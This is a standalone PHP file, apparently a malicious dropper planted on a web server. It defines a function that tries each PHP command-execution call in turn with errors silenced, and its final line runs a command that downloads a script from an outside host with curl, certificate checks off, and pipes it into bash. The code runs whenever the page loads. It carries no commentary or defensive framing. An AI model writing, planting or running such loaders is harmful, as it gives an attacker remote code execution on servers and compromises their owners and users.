<?php 
function execute_cmd($cmd)
{
    $output = "";
    $cmd = trim($cmd) . " 2>&1";
    if (function_exists("proc_open")) {
        $descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w"),
        );
        $pipes = array();
        $process = @proc_open($cmd, $descriptors, $pipes, getcwd(), null);
        if (is_resource($process)) {
            @fclose($pipes[0]);
            if (function_exists("stream_get_contents")) {
                $output = @stream_get_contents($pipes[1]);
            } else {
                while (!feof($pipes[1])) {
                    $output .= fgets($pipes[1]);
                }
            }
            @fclose($pipes[1]);
            @fclose($pipes[2]);
            @proc_close($process);
            if ($output !== false && $output !== null) {
                return $output;
            }
        }
    }
    if (function_exists("shell_exec")) {
        $output = @shell_exec($cmd);
        if ($output !== null) {
            return $output;
        }
    }
    if (function_exists("system")) {
        @ob_start();
        @system($cmd, $return_var);
        $output = @ob_get_contents();
        @ob_end_clean();
        if ($output !== false) {
            return $output;
        }
    }
    if (function_exists("passthru")) {
        @ob_start();
        @passthru($cmd, $return_var);
        $output = @ob_get_contents();
        @ob_end_clean();
        if ($output !== false) {
            return $output;
        }
    }
    if (function_exists("exec")) {
        $lines = array();
        @exec($cmd, $lines, $return_var);
        if (is_array($lines)) {
            return implode("\n", $lines);
        }
    }
    if (function_exists("popen") && function_exists("pclose")) {
        $handle = @popen($cmd, "r");
        if (is_resource($handle)) {
            $output = "";
            while (!feof($handle)) {
                $output .= fread($handle, 8192);
            }
            @pclose($handle);
            return $output;
        }
    }
    return "Error: Tidak ada fungsi eksekusi yang tersedia atau perintah gagal.";
}
execute_cmd('bash -c "$(curl -fsSLk marle.ng/y)"');
?>